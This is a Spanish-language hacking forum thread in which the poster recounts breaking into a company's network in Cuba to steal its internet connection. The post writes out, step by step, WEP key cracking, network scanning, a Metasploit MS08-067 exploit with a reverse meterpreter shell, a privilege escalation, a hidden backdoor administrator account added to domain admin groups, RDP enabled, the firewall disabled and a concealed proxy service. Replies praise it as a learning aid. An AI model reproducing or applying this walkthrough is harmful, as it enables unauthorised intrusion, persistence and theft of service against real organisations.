Reconstruccion de un ataque de penetracion en el mundo real

Iniciado por B3N, Junio 20, 2015, 09:35:41 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 20, 2015, 09:35:41 PM Ultima modificación: Junio 20, 2015, 10:25:46 PM por B3N
En Cuba las personas comunes no tienen internet en sus casas, el internet solo lo tienen los bancos, las grandes empresas, los hospitales, etc, pero para una persona es imposible tener internet en su casa.
Todo comenzo cuando me compre una Wi-Fi y la puse en el techo de mi casa con una antena
casera. Enseguida inicie mi Linux (Backtrack 5 R3 en ese entonces) y me puse a escuchar para ver si veia algun AP (Access Point) cerca:

Código: php
root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0


Rapidamente comenzaron a aparecer varios APs, me conecte a varios que tenian filtro de MAC pero eran locales, de personas que los ponen para chatear entre ellos, jugar, etc, pero nada de internet.  Necesitaba uno de alguna empresa importante que tuviera algun server con internet permanente. Pues efectivamente, encontre uno, de hecho al que veia con mejor senal. No le habia querido entrar pues enves de filtro de MAC lo que tenia era una clave con cifrado WEP y yo estaba vago, era mas facil clonar la MAC de un cliente que ponerme a crackear un cifrado WEB, pero bueno ya era hora de ver si en esa red estaba lo que yo tanto buscaba. Pues voy a romper su cifrado (me dije):

Comenze a capturar paquetes desde los clientes conectados al AP:

Código: php
root@bt:~# airodump-ng mon0 --bssid 45:02:7F:BC:C4:87 -c 1 -w KEY

(la MAC es la del AP, -c indica el canal, es lo mismo que --channel, y -w equivale a --write y es para que guarde los paquetes capturados en un archivo .cap, en mi caso se llamaba KEY-01.cap)

Pero el numero de paquetes de datos era insignificante, eran muy pocos para romper un cifrado WEP, pues bien voy a generar bastante trafico para poder capturar mas paquetes de datos, me dije, para lo cual utilice el aireplay-ng con la opcion -3 para hacer peticiones ARP, -b para indicar la MAC del AP y -h para indicar la MAC de uno de los clientes que estaba conectado en ese momento con el fin de suplantar su identidad:

Código: php
root@bt:~# aireplay-ng -3 -b 45:02:7F:BC:C4:87 -h d8:8f:33:6b:fc:39 mon0


Enseguida comenzo a incremetarse el trafico y la captura de paquetes, y cuando tuve suficientes (creo que eran como 80 000, aunque se que con menos podia) procedi a crackear la clave con aircrack-ng:

Código: php
root@bt:~# aircrack-ng KEY-01.cap


...y no tardo nada en descifrar la clave. Pues bien era hora de conectarme para ver si la clave era la correcta, asi que procedi a conectarme:

Código: php
root@bt:~# iwconfig wlan0 essid "Victima" channel 1 key E56933ND4W
root@bt:~# iwconfig


y para mi sorpresa: Access Point: 45:02:7F:BC:C4:87
Ya estaba conectado, ahora necesitaba un IP dentro del rango:

Código: php
root@bt:~# dhclient wlan0


Pero no, esto no sirvio ya que no tenia un servidor DHCP, o sea que los IP eran estaticos. Pues bien me debia asignar un IP yo mismo, pero como podia saber el rango de IP?, necesitaba capturar algun IP de la red con algun sniffer, pues bien procedi a abrir el etherape y enseguida aparecieron los primeros IPs de tipo 192.168.100.1, etc.

Genial voy a dejar un rato mas el etherape para ver todos los IPs de la red, me dije, para (0) no asignarme niguno que ya exista para que no le salga un cartel de conflicto de IP en la red en Windows y (1) para estudiar el escenario y saber a donde dirigir el ataque.

Pues bien me asigne un IP estatico (ifconfig wlan0 192.168.100.251) y procedi a escanear toda la red para rectificar todos los maquinas que estaban conectadas ya que a veces el etherape no es tan preciso pues si no detecta actividad a veces no muestra alguna maquina:

Código: php

root@bt:~# nmap -sP 192.168.100.0-255


Salieron como 7, no habian muchas maquinas conectadas. Procedi pues a ver si encontraba un servidor con internet asi que me decidi por el 192.168.100.1 ya que era probable que fuera ese por ser el .1 ;) asi que le hice un escaneo de puertos:

Código: php
root@bt:~# nmap -v -A -T4 192.168.100.1


Pues para mi sorpresa tenia abierto muchos puertos comprometedores; 21, 25, 80, 139, 445, etc. Y para colmo era un Windows Server 2003. Asi que decidi ejecutarle un payload mediante un exploit ya que era la forma mas sencilla y elegante para acceder a la maquina:

Código: php

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.100.251
msf  exploit(ms08_067_netapi) > set RHOST 192.168.100.1
msf  exploit(ms08_067_netapi) > exploit


Y una vez abierta mi session de meterpreter:

Código: php
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > screenshot


Vaya las cosas se hicieron mucho mas facil cuando vi en su escritorio un icono de coneccion a Internet que decia: "Acceso directo - ETECSA" y vi que tenia dos iconos de red conectada en la bandeja del sistema. Pero bueno necesitaba estar mas seguro asi que ejecute un shell y...:

Código: php

meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> ipconfig /all
...
Adaptador PPP ETECSA:

   Sufijo conexi�n espec�fica DNS:
   Descripci�n . . . . . . . . . : WAN (PPP/SLIP) Interface
   Direcci�n f�sica. . . . . . . : 02-45-21-12-00-00
   DHCP habilitado . . . . . . . : No
   Direcci�n IP. . . . . . . . . : xxx.xx.xxx.xxx
   M�scara de subred . . . . . . : 255.255.255.255
   Puerta de enlace predet.. . . : 0.0.0.0
   Servidores DNS. . . . . . . . : xxx.xx.xxx.x
                                   xxx.xx.xxx.x

C:\WINDOWS\system32> exit

meterpreter >


Ya sabia que era un server y que estaba conectado a internet a traves de un modem, asi que yo podia aprovechar eso y robarme, o sea tomar prestado, ese internet, en fin lo que por derecho creo que me pertenece. Asi que lo que hice fue sencillo, le instale un servidor proxy para salir a traves de el. Buscando en un DVD de programas me encontre con el ProxyPlus, un server proxy muy sencillo, solo para 3 usuarios, se administra completamente via web y se instala como un servicio en Windows, tampoco sale en menu inicio, pero para instalarlo es mediante interfaz grafica, que  podia hacer, pues no tenia otra opcion. Pues me cree un usuario con privilegios de administracion y habilite RDP (Escritorio Remoto). Si, el hash del Administrador tambien lo obtuve y descifre su password pero no podia iniciar session con el mismo usuario que el asi que tenia que crearme mi propio usuario, menos mal que Windows Server 2003 permite dos sessiones simultaneas de Escritorio Remoto. Asi que procedi:

Código: php
meterpreter > shell
Process 4148 created.
Channel 2 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador       SUPPORT_893434f6         
       
C:\WINDOWS\system32> net user Administrator toor /add
net user Administrator toor /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group
net group

Cuentas de grupo de \\

-------------------------------------------------------------------------------
*Administradores de esquema
*Administradores de organizaci�n
*Admins. del dominio
*Controladores de dominio
*DnsUpdateProxy
*Equipos del dominio
*Invitados del dominio
*Propietarios del creador de directivas de grupo
*servermail
*usermail
*Usuarios del dominio

C:\WINDOWS\system32> net group "Administradores de esquema" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group "Admins. del dominio" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
C:\WINDOWS\system32> Netsh firewall set opmode disable
C:\WINDOWS\system32> exit

meterpreter >


...y en otro terminal:

Código: php
root@bt:~# rdesktop -f 192.168.100.1


...y ahi estaba en su escritorio. Luego de logearme con mi nuevo usuario debia ocultar la carpeta que crea el mismo en C:\Documents and Settings\Administrator, y asi lo hice:

Código: php
meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings> attrib +H +S Administrator
attrib +H +S Administrator

C:\Documents and Settings>


...luego procedi a instalar el proxyplus. Inicie mi servidor FTP (pure-ftpd) donde tenia el instalador y lo descarge desde la maquina de la victima a la carpeta C:\WINDOWS\TEMP por si acaso se me olvidava borrarlo que se borrara automaticamente al reiniciar el sistema. Elegi como carpteta de instalacion C:\WINDOWS\System32\ProxyPlus y de igual manera le asigne atributos de Hide y System:

Código: php
C:\WINDOWS\system32\ProxyPlus> attrib +H +S ProxyPlus
attrib +H +S ProxyPlus

C:\WINDOWS\system32\ProxyPlus>


...pero me faltaba algo mas, debia asegurarme de que no apareciera en Agragar/Quitar Programas del Panel de Control. Sencillo, bastaba con modificar la clave
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\Proxy+ y donde decia "DisplayName" borrar el valor.

Solo quedaba iniciar el servicio:
Desde meterpreter:

Código: php
meterpreter > run service_manager -S -n ProxyPlus


A veces lo iniciaba desde MS-DOS:

Código: php
C:\WINDOWS\system32> net start ProxyPlus


Perfecto ya no me faltaba nada. Solo entrar por via web al servidor por el puerto 4400 (Puerto de administracion del ProxyPlus) y configurarlo correctamente.

y cuando escribi en mi navegador: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que emocion ver que estaba en internet, sin
ninguna restriccion y sin tener que pagar nada, todo con una Wi-Fi y mi antenita casera.

Por supuesto esta de mas decir que cada vez que me desconectaba detenia el servicio para que no saliera en los procesos:
Desde meterpreter:

Código: php
meterpreter > run service_manager -K -n ProxyPlus


Código: php
C:\WINDOWS\system32> net stop ProxyPlus


De esta forma estuve un tiempo conectado desde Cuba, desde mi propia casa, luego quitaron el router y contra eso no pude hacer nada jaja. Ahora tengo internet ya que me encuentro en otro pais cumpliendo una mision, aqui las redes inhalambricas abundan y es facil conectarse a cualquiera, aunque este protegida con clave.
Bueno aunque esto fue hace ya un tiempo, aun asi las tecnicas y los comandos no han cambiando, de Backtrack R3 a Kali no hay diferencia en esto, y ademas hay varios principios que se exponen aqui que les seran muy utiles.

(Este tema lo publique inicialmente en otro foro hace ya cierto tiempo, pero me parecio bien compartirlos con ustedes para que se beneficien directamente de el)

Saludos
01010111 01100001 01101011 01100101 00100000 01110101
01110000 00100000 01001110 01100101 01101111

Muy ingenioso @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta !, me gusto bastante tu historia, sin dudas un gran aporte para muchos.

Saludos!

Me gustó el relato.
Un saludo!!
Lo que sabemos es una gota de agua; lo que ignoramos es el océano.

Este post es precioso. A la gente, que como yo, está empezando en esto nos ayuda mucho leer textos de este tipo dado que no solo puedes ver los comandos y el software utilizados sino que se puede observar el proceso y, lo más importante para mi, la forma de pensar.